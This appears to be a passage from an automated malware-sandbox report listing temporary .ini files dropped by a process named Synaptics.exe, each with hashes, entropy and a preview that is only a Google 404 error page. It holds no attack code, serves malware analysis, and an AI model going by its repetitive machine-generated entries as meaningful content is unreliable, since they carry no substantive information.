File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266137592457466
Encrypted:	false
SSDEEP:	24:GgsF+0kbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+jb+pAZewRDK4mW
MD5:	3055A6E971C693209A42749AC5532477
SHA1:	A2E40969DF447723082D0A85C90ED0CE1AB8718E
SHA-256:	75CCDAE1664E6F19D2A823535247B8D799D9CB1CB64F7C16D5D237FF769DFD1D
SHA-512:	B1C8A19ABC8922DE2F9D7040C30B88299B1114ACC8F3CDDB01FC71DBE1064A07CA4868486849318C0F298EE434FF427BAF9A6CD8D4CB028BDBBB0B9E00D8F5D7
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="CxNnYnCn7zXzIybpm4MXDA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\XnQuMFD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260398765058078
Encrypted:	false
SSDEEP:	24:GgsF+0xXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+sX+pAZewRDK4mW
MD5:	9F71253BF4D613195A22402484D39875
SHA1:	29132646A82185D2D3ACA09524577562DF1DA31C
SHA-256:	3B568A2CD878D61200A813C4217D64D5B13397633B87526ECDFF436BD297828F
SHA-512:	FAA80985DB780219C6D28EE41273DE5C65CC8C2404E2A7650D961D6D7031C5F2FD1AC1F79B6E1399B16CDCDEC05C3CEA111AA8D0F124C7CF69E4E8FBCB569221
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="nvKhmxFrmz9eO5KWzKkWKQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Y8fOIg6.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.242126020951368
Encrypted:	false
SSDEEP:	24:GgsF+0jybSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+fb+pAZewRDK4mW
MD5:	15453E59DC184C89176B7B9720CEE655
SHA1:	5CC7B9A5AB00C05407D2AB33439AC978625BFDD1
SHA-256:	A447B4EE1A6E2F5E09F707DD6B91353FC077F8F10331AD0FAABE682A3EE79562
SHA-512:	180012B0F9FF00A82241DB88142B6FF0A5752F4D361519BFE51025C0EDD104B00CE593EB44BD59876BA372F7DF9468B98FB4FD03555DDF78B0251745B772903E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="aZme4ad_tKH4ueDqnFoppg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Ymng7Vb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265271770249666
Encrypted:	false
SSDEEP:	24:GgsF+0mESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+hE+pAZewRDK4mW
MD5:	449B7C4037A047AB3BE43309B7D6008B
SHA1:	E6EE68AD944939CA2448A239EF24DB7DF5F600E4
SHA-256:	B506FB805860833BC2BFBFCB369C5BAB155C493F3128C03F74C3505CF39C45D9
SHA-512:	8AAB705627C9928FDA689B9D372DA708ED40EBB8BE35C5C65417F115E8D476495196EDDA6F35301C9794B3C8231BB81CE0DC5FF441B6CED7FC0D4B0AD095AFE5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bWRQEHoIhJXSajr4x0lHXg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\ZmifBT5.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.281273874880149
Encrypted:	false
SSDEEP:	24:GgsF+09MTSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Ua+pAZewRDK4mW
MD5:	25E9397EDCAF6F086181CB771431094C
SHA1:	CA09BF57F01DB679D8AC64075B736108C010B5AC
SHA-256:	074378C5B224572ED9A85F8CF874050B990B271156F41B5831F5DCD2179FB602
SHA-512:	E0D3FD5CBA6E4E6352C2934079546224A36C70EC7F7FA4C30C48CACB61137D320045E3B4CF07C34AAE30613876A28934B511D547365BCBCDD36A7D4456D955E6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="sRFILnIz6vCxPOIZJEXEdQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\Zxh76CE.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.266817555249458
Encrypted:	false
SSDEEP:	24:GgsF+0+Ml3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+Rq+pAZewRDK4mW
MD5:	28DFF2809AF2A0B8E14C0220A6393319
SHA1:	74C8DE3029D1E0B3475986095A92003E37B315FD
SHA-256:	DC3B6E4C92B26B6C1FF01AB0973AA6F8BD5768EB5091D54CB372E5F3ACC021DB
SHA-512:	91F13DF26FC1D945C696DA100F045505A3BAC906AD4E61A461A52572409707DC1EC124440054892FCFE9D105D252B2734393AD37BF3D3D04E1DB42A0307DB689
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="58IPeHT1SK5EqglgXt-DGA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\b9CCrgb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272512600384138
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D+pAZewRDK4mW
MD5:	7017A560F3FA5CF9BE77AA1A05385060
SHA1:	AFF0021C0252E51520D95F1B3376190498941603
SHA-256:	40ECF662B6A3E6276D3F6BDB8C368AD35F4C56CE848F710B136B37859854BB89
SHA-512:	7BB9C4D090BDC1340C894050829809A417469A8DA671FB382D52AF3443C600EB6AEA9BE5909230B80664852F3D230E36F1D16B39CE8275A2AD099424F8F30A1C
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="VyV_NZ9qMaZ7IhfJN4AshA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bFXbgB9.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256049399502176
Encrypted:	false
SSDEEP:	24:GgsF+0hSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+K+pAZewRDK4mW
MD5:	E56F03B2BA0408C0F51EBA501B2F591F
SHA1:	CE1B927CD6B151D84C9AD2C49A6D0D91F018D8E5
SHA-256:	33EFA1BC8798D4A539CA4A460A3727240C74A116E29B926AF1A74EB463D02024
SHA-512:	2C46456D86EAD4F69AE84DC12EAFDF874DBDBDE3BBF9A707699FAD2AE04E11873DBE969882EB3CAA83E909589D307ADB7E9AB2914B2143FD9AE01D83468E4AC3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="i1_82FLPwH2s_nh3buPlCQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bJUwkBL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265337420299849
Encrypted:	false
SSDEEP:	24:GgsF+0ETDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	92DCDAD0134439DD771B11DF12B594D6
SHA1:	5565D50DDE6FF1995CF3208B9C4D4864309EAFA4
SHA-256:	8F15B312FC24D8F6772F8A45714055F6771EBA7C18493397AABDBDD707D8AA33
SHA-512:	61D922E1B7E58A1BDFA354F2A28EC9746E82D32B64FA0F9133ADBB2D30A9A4FE1AA5DB7231CDACD93E4FDFB75D46349D6FAD0FAB9694F30EBF83ED9CA5F72EDC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rTO97OYnvc07NCBbVSiUSg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bQOg3gs.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267887900174546
Encrypted:	false
SSDEEP:	24:GgsF+0cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+L+pAZewRDK4mW
MD5:	2DD51EC1B11A32BF78948214B0DEB3D4
SHA1:	63825AB2D976EA4963E5F2B88E298F75FFF7392A
SHA-256:	BB7D24EB8C199DC131995D5ABD39F0DEEE61C0C1CE8D5C3DA3C143FF06957738
SHA-512:	BDDE10F859795D424456D93F78E0B5629FF9396450458B902412369C98C09055C50EA836DEB91B4EA6A9A12D5D02AB61803E80FB8E734E3CCCC179019C796D7D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QJKcfFb7FeLJr5CDhT21HA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\bfuwDtS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253096345946864
Encrypted:	false
SSDEEP:	24:GgsF+0xsSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+9+pAZewRDK4mW
MD5:	8192EB4F30AAC4F2939613A727AF1F61
SHA1:	2EA1812D19FB79D898899C766D08081E9C1238EA
SHA-256:	8D9FFABFBA5E01A2ECA4289A44BB2D64F9570224FE8F0739234CD24DEA8B4436
SHA-512:	362DD2F6A0D06560A42FC65CABDF5D0E167779164079972877007B2498B3671BA9450B7F84664FC227794B9CE081F6093DF5788F08427A5C4357AFDDFC9D9BA5
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XbuUbln02VlW3dh5g792PA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\c3WqPHG.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2510507247028375
Encrypted:	false
SSDEEP:	24:GgsF+04SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+7+pAZewRDK4mW
MD5:	391E7F42E5EDD38DFFEB113DAFC1EF0F
SHA1:	4BABA379CD3E0BC39C5B66FD7D199673699ECDD4
SHA-256:	FA41F0425298D022ED0FAAEC6D4C38E1C66DAF244A93D891464A85424607C65E
SHA-512:	770527EFCD2016874ED1A523A37433922148A71B42CB9E7725FA71AB3694589D05FBEEFD6C23C9DD8CA2D2CF3D8DD5D14DC7EFF9928E0D9E0A132E240DB3C861
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="8-5M2uwYitoS_xaVfng_CA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\c6i88Dn.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267888749960688
Encrypted:	false
SSDEEP:	24:GgsF+0hwzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+KU+pAZewRDK4mW
MD5:	2A5E9AE1849771643B12832DA6D89B53
SHA1:	31EBB5DC4C10F314FEBA4A9E15F986DB6F720973
SHA-256:	455B26AACF85FD58108947F864A967B4D8807BE912B4CF3D24421276779EB859
SHA-512:	D65E5A531D8B0D0B4E64E2F7B41E04AA50A5963E857072583FBBEAB951BA399BE6E201B9BC65167FE4DDA159CBE112C87C97B545357D381CE181A5B10306DC29
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="n2j2v73DAveUGKK4WfLbsQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cLSyKtI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.256671321399851
Encrypted:	false
SSDEEP:	24:GgsF+0TrLRSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+e+pAZewRDK4mW
MD5:	D91B7FFC9FF19EC827B864DA4EC5C743
SHA1:	4AF89BEFC27BFBBD9898D7DAD944F43B66285014
SHA-256:	F7E1AE4B2A80E1F32D0E42E2383ACA549CB12B30068EB00856B06968558092EF
SHA-512:	30C79B5D5F8016B4A5B9DA32DBA5F7F29470B20191A8F71217E96B1257EDCC8E82E4704F086EA77B88D04FC3D30A3A1CB8347D1AB69B2671D450178A7AB70669
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="oSrzZNQLgkIA0sn8lxMycw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\cbw6AUb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2733685108034996
Encrypted:	false
SSDEEP:	24:GgsF+0m71SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+p71+pAZewRDK4mW
MD5:	CABF0A09F77804FE64DAD5B9C8EA760A
SHA1:	34515B8539BE9B4344B8937A2C578BAAFE6DF8DB
SHA-256:	C58ED93736120CBBA723167279EABB5F2A7E4BAEC2677A0611866F83754E36BA
SHA-512:	938A715CBCF4BCCE4D82C44832A54C8C74422FA83B90620EE0D2E273BC6B2B66C157FD0FEA6EC2F33F9C364A3ED6012C869CC89BD9DF5910C8DDF5FAA6456477
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="v17mA4Y6R-OYVyRx33JlKQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\d7F2YQp.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.261950024786214
Encrypted:	false
SSDEEP:	24:GgsF+0fC3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+D3+pAZewRDK4mW
MD5:	2FAC4C5878DFFDB40053BFF02B87D668
SHA1:	006F5DF111F17BD959F24ED757B5DD6AD0978DE2
SHA-256:	C3814A0CA4F97DAB38939A6771E838B08E39ADDD5B77D8688BD80F6F7161C8B0
SHA-512:	C4F8B17B065CB868DEDAC389F581B4BBA02C65D8617B00984D30A3AF018FDD755F6D7C4938E79B332ADDAF79838AE990B2F0FCACA3CED8017228D9A7E15926CB
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="B_gKefa2MoZmTUjMZwg_YA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\dZYSU7j.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253139936205979
Encrypted:	false
SSDEEP:	24:GgsF+0XbbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+43+pAZewRDK4mW
MD5:	415835F2AB6668BAEF5BC9EBCD1BD96E
SHA1:	9D8429AFBD190726A0B0B36376D01C2EAB4250BC
SHA-256:	CA8A78A89F3173D3D9F513023BAD124833428DF4BC21C5F45549737CC8D48DD9
